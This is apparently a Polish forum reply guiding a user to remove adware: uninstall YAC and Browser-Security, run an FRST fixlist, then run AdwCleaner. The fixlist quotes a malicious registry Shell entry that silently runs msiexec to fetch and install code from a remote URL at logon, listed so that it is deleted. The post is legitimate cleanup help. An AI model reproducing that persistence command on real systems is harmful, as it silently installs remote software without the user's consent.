Odinstaluj Browser-Security,YAC(Yet Another Cleaner!).Otwórz notatnik systemowy i wklej:

CloseProcesses:
FF NewTab: C:\Documents and Settings\Administrator\Dane aplikacji\Mozilla\Firefox\Profiles\jlxitq5h.default -> hxxp://www.luckysearch123.com?type=hp&ts=1495786607&from=ca9a0525&uid=st9250315as_5vc8ymn1xxxx5vc8ymn1&z=09c3d0d55369c6ce38d2ac5g0z6t2w4mbb6q7qbe2m
FF DefaultSearchEngine: C:\Documents and Settings\Administrator\Dane aplikacji\Mozilla\Firefox\Profiles\jlxitq5h.default -> luck
FF SearchEngineOrder.1: C:\Documents and Settings\Administrator\Dane aplikacji\Mozilla\Firefox\Profiles\jlxitq5h.default -> luck
FF SelectedSearchEngine: C:\Documents and Settings\Administrator\Dane aplikacji\Mozilla\Firefox\Profiles\jlxitq5h.default -> luck
HKU\S-1-5-21-776561741-1078081533-1801674531-500\...\Run: [safe_urls768] => C:\Documents and Settings\Administrator\Dane aplikacji\Browser-Security\s768.exe [2548944 2016-07-08] ()
HKU\S-1-5-21-776561741-1078081533-1801674531-500\...\Run: [MSMSGS] => C:\Program Files\Messenger\msmsgs.exe [1695232 2008-04-14] (Microsoft Corporation)
HKU\S-1-5-21-776561741-1078081533-1801674531-500\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1SMTF8FjQYNTIyMWZYRWJWRTIxNYZYNTVXOWw2MjM5Nc== /q
IFEO\DisplaySwitch.exe: [Debugger] 
IFEO\taskmgr.exe: [Debugger] 
FF SearchPlugin: C:\Documents and Settings\Administrator\Dane aplikacji\Mozilla\Firefox\Profiles\jlxitq5h.default\searchplugins\luck.xml [2017-05-26]
R2 iSafeService; C:\Program Files\Elex-tech\YAC\iSafeSvc.exe [130512 2017-05-22] (Elex do Brasil Participações Ltda)
R1 iSafeKrnl; C:\Program Files\Elex-tech\YAC\iSafeKrnl.sys [227776 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
S3 iSafeKrnlBoot; C:\WINDOWS\System32\DRIVERS\iSafeKrnlBoot.sys [50280 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeKrnlKit; C:\Program Files\Elex-tech\YAC\iSafeKrnlKit.sys [97912 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeKrnlMon; C:\Program Files\Elex-tech\YAC\iSafeKrnlMon.sys [45032 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeKrnlR3; C:\Program Files\Elex-tech\YAC\iSafeKrnlR3.sys [73232 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeNetFilter; C:\WINDOWS\System32\DRIVERS\iSafeNetFilter.sys [67288 2016-05-19] (Elex do Brasil Participações Ltda) <==== UWAGA
S4 IntelIde; Brak ImagePath
U1 WS2IFSL; Brak ImagePath
2017-05-24 18:13 - 2017-05-24 18:13 - 00000000 ____D C:\Program Files\Elex-tech
2017-05-24 18:13 - 2017-05-24 18:13 - 00000000 ____D C:\Documents and Settings\Administrator\Dane aplikacji\Elex-tech
2017-05-24 18:13 - 2016-05-23 04:41 - 00050280 _____ (Elex do Brasil Participações Ltda) C:\WINDOWS\system32\Drivers\iSafeKrnlBoot.sys
2017-05-24 18:13 - 2016-05-19 08:42 - 00067288 _____ (Elex do Brasil Participações Ltda) C:\WINDOWS\system32\Drivers\iSafeNetFilter.sys
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze. 
Uruchom jako administrator FRST i kliknij w Fix/Napraw.
Pobierz i uruchom jako administrator AdwCleaner   https://toolslib.net/downloads/finish/1/ Kliknij Scan(Skanuj) i później Cleaning(Oczyść).